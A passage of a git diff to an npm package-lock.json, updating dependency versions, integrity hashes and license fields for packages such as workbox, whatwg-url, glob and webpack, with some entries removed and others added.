- "optional": true - }, - "sass-embedded": { - "optional": true - }, - "stylus": { - "optional": true - }, - "sugarss": { - "optional": true - }, - "terser": { - "optional": true - }, - "tsx": { - "optional": true - }, - "yaml": { - "optional": true - } - } - }, "node_modules/vite-plugin-compression2": { "version": "2.2.1", "resolved": "https://registry.npmjs.org/vite-plugin-compression2/-/vite-plugin-compression2-2.2.1.tgz", @@ -41868,54 +42935,6 @@ "tar-mini": "^0.2.0" } }, - "node_modules/vite-plugin-node-polyfills": { - "version": "0.23.0", - "resolved": "https://registry.npmjs.org/vite-plugin-node-polyfills/-/vite-plugin-node-polyfills-0.23.0.tgz", - "integrity": "sha512-4n+Ys+2bKHQohPBKigFlndwWQ5fFKwaGY6muNDMTb0fSQLyBzS+jjUNRZG9sKF0S/Go4ApG6LFnUGopjkILg3w==", - "dev": true, - "license": "MIT", - "dependencies": { - "@rollup/plugin-inject": "^5.0.5", - "node-stdlib-browser": "^1.2.0" - }, - "funding": { - "url": "https://github.com/sponsors/davidmyersdev" - }, - "peerDependencies": { - "vite": "^2.0.0 || ^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0" - } - }, - "node_modules/vite/node_modules/fdir": { - "version": "6.5.0", - "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", - "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=12.0.0" - }, - "peerDependencies": { - "picomatch": "^3 || ^4" - }, - "peerDependenciesMeta": { - "picomatch": { - "optional": true - } - } - }, - "node_modules/vite/node_modules/picomatch": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz", - "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/sponsors/jonschlinkert" - } - }, "node_modules/vm-browserify": { "version": "1.1.2", "resolved": "https://registry.npmjs.org/vm-browserify/-/vm-browserify-1.1.2.tgz", @@ -41976,9 +42995,9 @@ "license": "MIT" }, "node_modules/vscode-uri": { - "version": "3.0.8", - "resolved": "https://registry.npmjs.org/vscode-uri/-/vscode-uri-3.0.8.tgz", - "integrity": "sha512-AyFQ0EVmsOZOlAnxoFOGOq1SQDWAB7C6aqMGS23svWAllfOaxbuFvcT8D1i8z3Gyn8fraVeZNNmN6e9bxxXkKw==", + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/vscode-uri/-/vscode-uri-3.1.0.tgz", + "integrity": "sha512-/BpdSx+yCQGnCvecbyXdxHDkuk55/G3xwnC0GqY4gmQ3j+A+g8kzzgB4Nk/SINjqn6+waqw3EgbVF2QKExkRxQ==", "license": "MIT" }, "node_modules/w3c-keyname": { @@ -41987,15 +43006,16 @@ "integrity": "sha512-dpojBhNsCNN7T82Tm7k26A6G9ML3NkhDsnw9n/eoxSRlVBB4CEtIQ/KTCLI2Fwf3ataSXRhYFkQi3SlnFwPvPQ==" }, "node_modules/w3c-xmlserializer": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-4.0.0.tgz", - "integrity": "sha512-d+BFHzbiCx6zGfz0HyQ6Rg69w9k19nviJspaj4yNscGjrHu94sVP+aRm75yEbCh+r2/yR+7q6hux9LVtbuTGBw==", + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-5.0.0.tgz", + "integrity": "sha512-o8qghlI8NZHU1lLPrpi2+Uq7abh4GGPpYANlalzWxyWteJOCsr/P+oPBA49TOLu5FTZO4d3F9MnWJfiMo4BkmA==", "dev": true, + "license": "MIT", "dependencies": { - "xml-name-validator": "^4.0.0" + "xml-name-validator": "^5.0.0" }, "engines": { - "node": ">=14" + "node": ">=18" } }, "node_modules/walker": { @@ -42007,20 +43027,6 @@ "makeerror": "1.0.12" } }, - "node_modules/watchpack": { - "version": "2.4.2", - "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.4.2.tgz", - "integrity": "sha512-TnbFSbcOCcDgjZ4piURLCbJ3nJhznVh9kw6F6iokjiFPl8ONxe9A6nMDVXDiNbrSfLILs6vB07F7wLBrwPYzJw==", - "dev": true, - "peer": true, - "dependencies": { - "glob-to-regexp": "^0.4.1", - "graceful-fs": "^4.1.2" - }, - "engines": { - "node": ">=10.13.0" - } - }, "node_modules/web-namespaces": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/web-namespaces/-/web-namespaces-2.0.1.tgz", @@ -42047,63 +43053,6 @@ "node": ">=12" } }, - "node_modules/webpack": { - "version": "5.94.0", - "resolved": "https://registry.npmjs.org/webpack/-/webpack-5.94.0.tgz", - "integrity": "sha512-KcsGn50VT+06JH/iunZJedYGUJS5FGjow8wb9c0v5n1Om8O1g4L6LjtfxwlXIATopoQu+vOXXa7gYisWxCoPyg==", - "dev": true, - "peer": true, - "dependencies": { - "@types/estree": "^1.0.5", - "@webassemblyjs/ast": "^1.12.1", - "@webassemblyjs/wasm-edit": "^1.12.1", - "@webassemblyjs/wasm-parser": "^1.12.1", - "acorn": "^8.7.1", - "acorn-import-attributes": "^1.9.5", - "browserslist": "^4.21.10", - "chrome-trace-event": "^1.0.2", - "enhanced-resolve": "^5.17.1", - "es-module-lexer": "^1.2.1", - "eslint-scope": "5.1.1", - "events": "^3.2.0", - "glob-to-regexp": "^0.4.1", - "graceful-fs": "^4.2.11", - "json-parse-even-better-errors": "^2.3.1", - "loader-runner": "^4.2.0", - "mime-types": "^2.1.27", - "neo-async": "^2.6.2", - "schema-utils": "^3.2.0", - "tapable": "^2.1.1", - "terser-webpack-plugin": "^5.3.10", - "watchpack": "^2.4.1", - "webpack-sources": "^3.2.3" - }, - "bin": { - "webpack": "bin/webpack.js" - }, - "engines": { - "node": ">=10.13.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/webpack" - }, - "peerDependenciesMeta": { - "webpack-cli": { - "optional": true - } - } - }, - "node_modules/webpack-sources": { - "version": "3.2.3", - "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-3.2.3.tgz", - "integrity": "sha512-/DyMEOrDgLKKIG0fmvtz+4dUX/3Ghozwgm6iPp8KRhvn+eQf9+Q7GWxVNMk3+uCPWfdXYC4ExGBckIXdFEfH1w==", - "dev": true, - "peer": true, - "engines": { - "node": ">=10.13.0" - } - }, "node_modules/websocket-driver": { "version": "0.7.4", "resolved": "https://registry.npmjs.org/websocket-driver/-/websocket-driver-0.7.4.tgz", @@ -42126,22 +43075,23 @@ } }, "node_modules/whatwg-encoding": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-2.0.0.tgz", - "integrity": "sha512-p41ogyeMUrw3jWclHWTQg1k05DSVXPLcVxRTYsXUk+ZooOCZLcoYgPZ/HL/D/N+uQPOtcp1me1WhBEaX02mhWg==", - "dev": true, + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-3.1.1.tgz", + "integrity": "sha512-6qN4hJdMwfYBtE3YBTTHhoeuUrDBPZmbQaxWAqSALV/MeEnR5z1xd8UKud2RAkFoPkmB+hli1TZSnyi84xz1vQ==", + "deprecated": "Use @exodus/bytes instead for a more spec-conformant and faster implementation", + "license": "MIT", "dependencies": { "iconv-lite": "0.6.3" }, "engines": { - "node": ">=12" + "node": ">=18" } }, "node_modules/whatwg-encoding/node_modules/iconv-lite": { "version": "0.6.3", "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==", - "dev": true, + "license": "MIT", "dependencies": { "safer-buffer": ">= 2.1.2 < 3.0.0" }, @@ -42155,25 +43105,25 @@ "integrity": "sha512-EqhiFU6daOA8kpjOWTL0olhVOF3i7OrFzSYiGsEMB8GcXS+RrzauAERX65xMeNWVqxA6HXH2m69Z9LaKKdisfg==" }, "node_modules/whatwg-mimetype": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-3.0.0.tgz", - "integrity": "sha512-nt+N2dzIutVRxARx1nghPKGv1xHikU7HKdfafKkLNLindmPU/ch3U31NOCGGA/dmPcmb1VlofO0vnKAcsm0o/Q==", - "dev": true, + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-4.0.0.tgz", + "integrity": "sha512-QaKxh0eNIi2mE9p2vEdzfagOKHCcj1pJ56EEHGQOVxp8r9/iszLUUV7v89x9O1p/T+NlTM5W7jW6+cz4Fq1YVg==", + "license": "MIT", "engines": { - "node": ">=12" + "node": ">=18" } }, "node_modules/whatwg-url": { - "version": "11.0.0", - "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-11.0.0.tgz", - "integrity": "sha512-RKT8HExMpoYx4igMiVMY83lN6UeITKJlBQ+vR/8ZJ8OCdSiN3RwCq+9gH0+Xzj0+5IrM6i4j/6LuvzbZIQgEcQ==", - "dev": true, + "version": "14.2.0", + "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-14.2.0.tgz", + "integrity": "sha512-De72GdQZzNTUBBChsXueQUnPKDkg/5A5zp7pFDuQAj5UFoENpiACU0wlCvzpAGnTkj++ihpKwKyYewn/XNUbKw==", + "license": "MIT", "dependencies": { - "tr46": "^3.0.0", + "tr46": "^5.1.0", "webidl-conversions": "^7.0.0" }, "engines": { - "node": ">=12" + "node": ">=18" } }, "node_modules/which": { @@ -42318,29 +43268,32 @@ "integrity": "sha512-gvVzJFlPycKc5dZN4yPkP8w7Dc37BtP1yczEneOb4uq34pXZcvrtRTmWV8W+Ume+XCxKgbjM+nevkyFPMybd4Q==" }, "node_modules/workbox-background-sync": { - "version": "7.3.0", - "resolved": "https://registry.npmjs.org/workbox-background-sync/-/workbox-background-sync-7.3.0.tgz", - "integrity": "sha512-PCSk3eK7Mxeuyatb22pcSx9dlgWNv3+M8PqPaYDokks8Y5/FX4soaOqj3yhAZr5k6Q5JWTOMYgaJBpbw11G9Eg==", + "version": "7.4.0", + "resolved": "https://registry.npmjs.org/workbox-background-sync/-/workbox-background-sync-7.4.0.tgz", + "integrity": "sha512-8CB9OxKAgKZKyNMwfGZ1XESx89GryWTfI+V5yEj8sHjFH8MFelUwYXEyldEK6M6oKMmn807GoJFUEA1sC4XS9w==", "dev": true, + "license": "MIT", "dependencies": { "idb": "^7.0.1", - "workbox-core": "7.3.0" + "workbox-core": "7.4.0" } }, "node_modules/workbox-broadcast-update": { - "version": "7.3.0", - "resolved": "https://registry.npmjs.org/workbox-broadcast-update/-/workbox-broadcast-update-7.3.0.tgz", - "integrity": "sha512-T9/F5VEdJVhwmrIAE+E/kq5at2OY6+OXXgOWQevnubal6sO92Gjo24v6dCVwQiclAF5NS3hlmsifRrpQzZCdUA==", + "version": "7.4.0", + "resolved": "https://registry.npmjs.org/workbox-broadcast-update/-/workbox-broadcast-update-7.4.0.tgz", + "integrity": "sha512-+eZQwoktlvo62cI0b+QBr40v5XjighxPq3Fzo9AWMiAosmpG5gxRHgTbGGhaJv/q/MFVxwFNGh/UwHZ/8K88lA==", "dev": true, + "license": "MIT", "dependencies": { - "workbox-core": "7.3.0" + "workbox-core": "7.4.0" } }, "node_modules/workbox-build": { - "version": "7.3.0", - "resolved": "https://registry.npmjs.org/workbox-build/-/workbox-build-7.3.0.tgz", - "integrity": "sha512-JGL6vZTPlxnlqZRhR/K/msqg3wKP+m0wfEUVosK7gsYzSgeIxvZLi1ViJJzVL7CEeI8r7rGFV973RiEqkP3lWQ==", + "version": "7.4.0", + "resolved": "https://registry.npmjs.org/workbox-build/-/workbox-build-7.4.0.tgz", + "integrity": "sha512-Ntk1pWb0caOFIvwz/hfgrov/OJ45wPEhI5PbTywQcYjyZiVhT3UrwwUPl6TRYbTm4moaFYithYnl1lvZ8UjxcA==", "dev": true, + "license": "MIT", "dependencies": { "@apideck/better-ajv-errors": "^0.3.1", "@babel/core": "^7.24.4", @@ -42355,50 +43308,43 @@ "common-tags": "^1.8.0", "fast-json-stable-stringify": "^2.1.0", "fs-extra": "^9.0.1", - "glob": "^7.1.6", + "glob": "^11.0.1", "lodash": "^4.17.20", "pretty-bytes": "^5.3.0", - "rollup": "^2.43.1", + "rollup": "^2.79.2", "source-map": "^0.8.0-beta.0", "stringify-object": "^3.3.0", "strip-comments": "^2.0.1", "tempy": "^0.6.0", "upath": "^1.2.0", - "workbox-background-sync": "7.3.0", - "workbox-broadcast-update": "7.3.0", - "workbox-cacheable-response": "7.3.0", - "workbox-core": "7.3.0", - "workbox-expiration": "7.3.0", - "workbox-google-analytics": "7.3.0", - "workbox-navigation-preload": "7.3.0", - "workbox-precaching": "7.3.0", - "workbox-range-requests": "7.3.0", - "workbox-recipes": "7.3.0", - "workbox-routing": "7.3.0", - "workbox-strategies": "7.3.0", - "workbox-streams": "7.3.0", - "workbox-sw": "7.3.0", - "workbox-window": "7.3.0" + "workbox-background-sync": "7.4.0", + "workbox-broadcast-update": "7.4.0", + "workbox-cacheable-response": "7.4.0", + "workbox-core": "7.4.0", + "workbox-expiration": "7.4.0", + "workbox-google-analytics": "7.4.0", + "workbox-navigation-preload": "7.4.0", + "workbox-precaching": "7.4.0", + "workbox-range-requests": "7.4.0", + "workbox-recipes": "7.4.0", + "workbox-routing": "7.4.0", + "workbox-strategies": "7.4.0", + "workbox-streams": "7.4.0", + "workbox-sw": "7.4.0", + "workbox-window": "7.4.0" }, "engines": { - "node": ">=16.0.0" + "node": ">=20.0.0" } }, - "node_modules/workbox-build/node_modules/@apideck/better-ajv-errors": { - "version": "0.3.6", - "resolved": "https://registry.npmjs.org/@apideck/better-ajv-errors/-/better-ajv-errors-0.3.6.tgz", - "integrity": "sha512-P+ZygBLZtkp0qqOAJJVX4oX/sFo5JR3eBWwwuqHHhK0GIgQOKWrAfiAaWX0aArHkRWHMuggFEgAZNxVPwPZYaA==", + "node_modules/workbox-build/node_modules/@isaacs/cliui": { + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/@isaacs/cliui/-/cliui-9.0.0.tgz", + "integrity": "sha512-AokJm4tuBHillT+FpMtxQ60n8ObyXBatq7jD2/JA9dxbDDokKQm8KMht5ibGzLVU9IJDIKK4TPKgMHEYMn3lMg==", "dev": true, - "dependencies": { - "json-schema": "^0.4.0", - "jsonpointer": "^5.0.0", - "leven": "^3.1.0" - }, + "license": "BlueOak-1.0.0", "engines": { - "node": ">=10" - }, - "peerDependencies": { - "ajv": ">=8" + "node": ">=18" } }, "node_modules/workbox-build/node_modules/@rollup/plugin-babel": { @@ -42406,6 +43352,7 @@ "resolved": "https://registry.npmjs.org/@rollup/plugin-babel/-/plugin-babel-5.3.1.tgz", "integrity": "sha512-WFfdLWU/xVWKeRQnKmIAQULUI7Il0gZnBIH/ZFO069wYIfPu+8zrfp/KMW0atmELoRDq8FbiP3VCss9MhCut7Q==", "dev": true, + "license": "MIT", "dependencies": { "@babel/helper-module-imports": "^7.10.4", "@rollup/pluginutils": "^3.1.0" @@ -42429,6 +43376,7 @@ "resolved": "https://registry.npmjs.org/@rollup/plugin-replace/-/plugin-replace-2.4.2.tgz", "integrity": "sha512-IGcu+cydlUMZ5En85jxHH4qj2hta/11BHq95iHEyb2sbgiN0eCdzvUcHw5gt9pBL5lTi4JDYJ1acCoMGpTvEZg==", "dev": true, + "license": "MIT", "dependencies": { "@rollup/pluginutils": "^3.1.0", "magic-string": "^0.25.7" @@ -42442,6 +43390,7 @@ "resolved": "https://registry.npmjs.org/@rollup/pluginutils/-/pluginutils-3.1.0.tgz", "integrity": "sha512-GksZ6pr6TpIjHm8h9lSQ8pi8BE9VeubNT0OMJ3B5uZJ8pz73NPiqOtCog/x2/QzM1ENChPKxMDhiQuRHsqc+lg==", "dev": true, + "license": "MIT", "dependencies": { "@types/estree": "0.0.39", "estree-walker": "^1.0.1", @@ -42458,19 +43407,62 @@ "version": "0.0.39", "resolved": "https://registry.npmjs.org/@types/estree/-/estree-0.0.39.tgz", "integrity": "sha512-EYNwp3bU+98cpU4lAWYYL7Zz+2gryWH1qbdDTidVd6hkiR6weksdbMadyXKXNPEkQFhXM+hVO9ZygomHXp+AIw==", - "dev": true + "dev": true, + "license": "MIT" + }, + "node_modules/workbox-build/node_modules/balanced-match": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-4.0.4.tgz", + "integrity": "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA==", + "dev": true, + "license": "MIT", + "engines": { + "node": "18 || 20 || >=22" + } + }, + "node_modules/workbox-build/node_modules/brace-expansion": { + "version": "5.0.4", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.4.tgz", + "integrity": "sha512-h+DEnpVvxmfVefa4jFbCf5HdH5YMDXRsmKflpf1pILZWRFlTbJpxeU55nJl4Smt5HQaGzg1o6RHFPJaOqnmBDg==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^4.0.2" + }, + "engines": { + "node": "18 || 20 || >=22" + } }, "node_modules/workbox-build/node_modules/estree-walker": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-1.0.1.tgz", "integrity": "sha512-1fMXF3YP4pZZVozF8j/ZLfvnR8NSIljt56UhbZ5PeeDmmGHpgpdwQt7ITlGvYaQukCvuBRMLEiKiYC+oeIg4cg==", - "dev": true + "dev": true, + "license": "MIT" + }, + "node_modules/workbox-build/node_modules/foreground-child": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/foreground-child/-/foreground-child-3.3.1.tgz", + "integrity": "sha512-gIXjKqtFuWEgzFRJA9WCQeSJLZDjgJUOMCMzxtvFq/37KojM1BFGufqsCy0r4qSQmYLsZYMeyRqzIWOMup03sw==", + "dev": true, + "license": "ISC", + "dependencies": { + "cross-spawn": "^7.0.6", + "signal-exit": "^4.0.1" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } }, "node_modules/workbox-build/node_modules/fs-extra": { "version": "9.1.0", "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-9.1.0.tgz", "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==", "dev": true, + "license": "MIT", "dependencies": { "at-least-node": "^1.0.0", "graceful-fs": "^4.2.0", @@ -42482,40 +43474,105 @@ } }, "node_modules/workbox-build/node_modules/glob": { - "version": "7.2.3", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", - "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", - "deprecated": "Glob versions prior to v9 are no longer supported", + "version": "11.1.0", + "resolved": "https://registry.npmjs.org/glob/-/glob-11.1.0.tgz", + "integrity": "sha512-vuNwKSaKiqm7g0THUBu2x7ckSs3XJLXE+2ssL7/MfTGPLLcrJQ/4Uq1CjPTtO5cCIiRxqvN6Twy1qOwhL0Xjcw==", + "deprecated": "Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me", "dev": true, + "license": "BlueOak-1.0.0", "dependencies": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.1.1", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" + "foreground-child": "^3.3.1", + "jackspeak": "^4.1.1", + "minimatch": "^10.1.1", + "minipass": "^7.1.2", + "package-json-from-dist": "^1.0.0", + "path-scurry": "^2.0.0" + }, + "bin": { + "glob": "dist/esm/bin.mjs" }, "engines": { - "node": "*" + "node": "20 || >=22" }, "funding": { "url": "https://github.com/sponsors/isaacs" } }, + "node_modules/workbox-build/node_modules/jackspeak": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/jackspeak/-/jackspeak-4.2.3.tgz", + "integrity": "sha512-ykkVRwrYvFm1nb2AJfKKYPr0emF6IiXDYUaFx4Zn9ZuIH7MrzEZ3sD5RlqGXNRpHtvUHJyOnCEFxOlNDtGo7wg==", + "dev": true, + "license": "BlueOak-1.0.0", + "dependencies": { + "@isaacs/cliui": "^9.0.0" + }, + "engines": { + "node": "20 || >=22" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/workbox-build/node_modules/lru-cache": { + "version": "11.2.6", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-11.2.6.tgz", + "integrity": "sha512-ESL2CrkS/2wTPfuend7Zhkzo2u0daGJ/A2VucJOgQ/C48S/zB8MMeMHSGKYpXhIjbPxfuezITkaBH1wqv00DDQ==", + "dev": true, + "license": "BlueOak-1.0.0", + "engines": { + "node": "20 || >=22" + } + }, "node_modules/workbox-build/node_modules/magic-string": { "version": "0.25.9", "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.25.9.tgz", "integrity": "sha512-RmF0AsMzgt25qzqqLc1+MbHmhdx0ojF2Fvs4XnOqz2ZOBXzzkEwc/dJQZCYHAn7v1jbVOjAZfK8msRn4BxO4VQ==", "dev": true, + "license": "MIT", "dependencies": { "sourcemap-codec": "^1.4.8" } }, + "node_modules/workbox-build/node_modules/minimatch": { + "version": "10.2.4", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.2.4.tgz", + "integrity": "sha512-oRjTw/97aTBN0RHbYCdtF1MQfvusSIBQM0IZEgzl6426+8jSC0nF1a/GmnVLpfB9yyr6g6FTqWqiZVbxrtaCIg==", + "dev": true, + "license": "BlueOak-1.0.0", + "dependencies": { + "brace-expansion": "^5.0.2" + }, + "engines": { + "node": "18 || 20 || >=22" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/workbox-build/node_modules/path-scurry": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-2.0.2.tgz", + "integrity": "sha512-3O/iVVsJAPsOnpwWIeD+d6z/7PmqApyQePUtCndjatj/9I5LylHvt5qluFaBT3I5h3r1ejfR056c+FCv+NnNXg==", + "dev": true, + "license": "BlueOak-1.0.0", + "dependencies": { + "lru-cache": "^11.0.0", + "minipass": "^7.1.2" + }, + "engines": { + "node": "18 || 20 || >=22" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, "node_modules/workbox-build/node_modules/pretty-bytes": { "version": "5.6.0", "resolved": "https://registry.npmjs.org/pretty-bytes/-/pretty-bytes-5.6.0.tgz", "integrity": "sha512-FFw039TmrBqFK8ma/7OL3sDz/VytdtJr044/QUJtH0wK9lb9jLq9tJyIxUwtQJHwar2BqtiA4iCWSwo9JLkzFg==", "dev": true, + "license": "MIT", "engines": { "node": ">=6" }, @@ -42524,10 +43581,11 @@ } }, "node_modules/workbox-build/node_modules/rollup": { - "version": "2.79.2", - "resolved": "https://registry.npmjs.org/rollup/-/rollup-2.79.2.tgz", - "integrity": "sha512-fS6iqSPZDs3dr/y7Od6y5nha8dW1YnbgtsyotCVvoFGKbERG++CVRFv1meyGDE1SNItQA8BrnCw7ScdAhRJ3XQ==", + "version": "2.80.0", + "resolved": "https://registry.npmjs.org/rollup/-/rollup-2.80.0.tgz", + "integrity": "sha512-cIFJOD1DESzpjOBl763Kp1AH7UE/0fcdHe6rZXUdQ9c50uvgigvW97u3IcSeBwOkgqL/PXPBktBCh0KEu5L8XQ==", "dev": true, + "license": "MIT", "bin": { "rollup": "dist/bin/rollup" }, @@ -42538,11 +43596,26 @@ "fsevents": "~2.3.2" } }, + "node_modules/workbox-build/node_modules/signal-exit": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz", + "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, "node_modules/workbox-build/node_modules/source-map": { "version": "0.8.0-beta.0", "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.8.0-beta.0.tgz", "integrity": "sha512-2ymg6oRBpebeZi9UUNsgQ89bhx01TcTkmNTGnNO88imTmbSgy4nfujrgVEFKWpMTEGA11EDkTt7mqObTPdigIA==", + "deprecated": "The work that was done in this beta branch won't be included in future versions", "dev": true, + "license": "BSD-3-Clause", "dependencies": { "whatwg-url": "^7.0.0" }, @@ -42555,6 +43628,7 @@ "resolved": "https://registry.npmjs.org/tr46/-/tr46-1.0.1.tgz", "integrity": "sha512-dTpowEjclQ7Kgx5SdBkqRzVhERQXov8/l9Ft9dVM9fmg0W0KQSVaXX9T4i6twCPNtYiZM53lpSSUAwJbFPOHxA==", "dev": true, + "license": "MIT", "dependencies": { "punycode": "^2.1.0" } @@ -42563,13 +43637,15 @@ "version": "4.0.2", "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-4.0.2.tgz", "integrity": "sha512-YQ+BmxuTgd6UXZW3+ICGfyqRyHXVlD5GtQr5+qjiNW7bF0cqrzX500HVXPBOvgXb5YnzDd+h0zqyv61KUD7+Sg==", - "dev": true + "dev": true, + "license": "BSD-2-Clause" }, "node_modules/workbox-build/node_modules/whatwg-url": { "version": "7.1.0", "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-7.1.0.tgz", "integrity": "sha512-WUu7Rg1DroM7oQvGWfOiAK21n74Gg+T4elXEQYkOhtyLeWiJFoOGLXPKI/9gzIie9CtwVLm8wtw6YJdKyxSjeg==", "dev": true, + "license": "MIT", "dependencies": { "lodash.sortby": "^4.7.0", "tr46": "^1.0.1", @@ -42577,127 +43653,140 @@ } }, "node_modules/workbox-cacheable-response": { - "version": "7.3.0", - "resolved": "https://registry.npmjs.org/workbox-cacheable-response/-/workbox-cacheable-response-7.3.0.tgz", - "integrity": "sha512-eAFERIg6J2LuyELhLlmeRcJFa5e16Mj8kL2yCDbhWE+HUun9skRQrGIFVUagqWj4DMaaPSMWfAolM7XZZxNmxA==", + "version": "7.4.0", + "resolved": "https://registry.npmjs.org/workbox-cacheable-response/-/workbox-cacheable-response-7.4.0.tgz", + "integrity": "sha512-0Fb8795zg/x23ISFkAc7lbWes6vbw34DGFIMw31cwuHPgDEC/5EYm6m/ZkylLX0EnEbbOyOCLjKgFS/Z5g0HeQ==", "dev": true, + "license": "MIT", "dependencies": { - "workbox-core": "7.3.0" + "workbox-core": "7.4.0" } }, "node_modules/workbox-core": { - "version": "7.3.0", - "resolved": "https://registry.npmjs.org/workbox-core/-/workbox-core-7.3.0.tgz", - "integrity": "sha512-Z+mYrErfh4t3zi7NVTvOuACB0A/jA3bgxUN3PwtAVHvfEsZxV9Iju580VEETug3zYJRc0Dmii/aixI/Uxj8fmw==", - "dev": true + "version": "7.4.0", + "resolved": "https://registry.npmjs.org/workbox-core/-/workbox-core-7.4.0.tgz", + "integrity": "sha512-6BMfd8tYEnN4baG4emG9U0hdXM4gGuDU3ectXuVHnj71vwxTFI7WOpQJC4siTOlVtGqCUtj0ZQNsrvi6kZZTAQ==", + "dev": true, + "license": "MIT" }, "node_modules/workbox-expiration": { - "version": "7.3.0", - "resolved": "https://registry.npmjs.org/workbox-expiration/-/workbox-expiration-7.3.0.tgz", - "integrity": "sha512-lpnSSLp2BM+K6bgFCWc5bS1LR5pAwDWbcKt1iL87/eTSJRdLdAwGQznZE+1czLgn/X05YChsrEegTNxjM067vQ==", + "version": "7.4.0", + "resolved": "https://registry.npmjs.org/workbox-expiration/-/workbox-expiration-7.4.0.tgz", + "integrity": "sha512-V50p4BxYhtA80eOvulu8xVfPBgZbkxJ1Jr8UUn0rvqjGhLDqKNtfrDfjJKnLz2U8fO2xGQJTx/SKXNTzHOjnHw==", "dev": true, + "license": "MIT", "dependencies": { "idb": "^7.0.1", - "workbox-core": "7.3.0" + "workbox-core": "7.4.0" } }, "node_modules/workbox-google-analytics": { - "version": "7.3.0", - "resolved": "https://registry.npmjs.org/workbox-google-analytics/-/workbox-google-analytics-7.3.0.tgz", - "integrity": "sha512-ii/tSfFdhjLHZ2BrYgFNTrb/yk04pw2hasgbM70jpZfLk0vdJAXgaiMAWsoE+wfJDNWoZmBYY0hMVI0v5wWDbg==", + "version": "7.4.0", + "resolved": "https://registry.npmjs.org/workbox-google-analytics/-/workbox-google-analytics-7.4.0.tgz", + "integrity": "sha512-MVPXQslRF6YHkzGoFw1A4GIB8GrKym/A5+jYDUSL+AeJw4ytQGrozYdiZqUW1TPQHW8isBCBtyFJergUXyNoWQ==", "dev": true, + "license": "MIT", "dependencies": { - "workbox-background-sync": "7.3.0", - "workbox-core": "7.3.0", - "workbox-routing": "7.3.0", - "workbox-strategies": "7.3.0" + "workbox-background-sync": "7.4.0", + "workbox-core": "7.4.0", + "workbox-routing": "7.4.0", + "workbox-strategies": "7.4.0" } }, "node_modules/workbox-navigation-preload": { - "version": "7.3.0", - 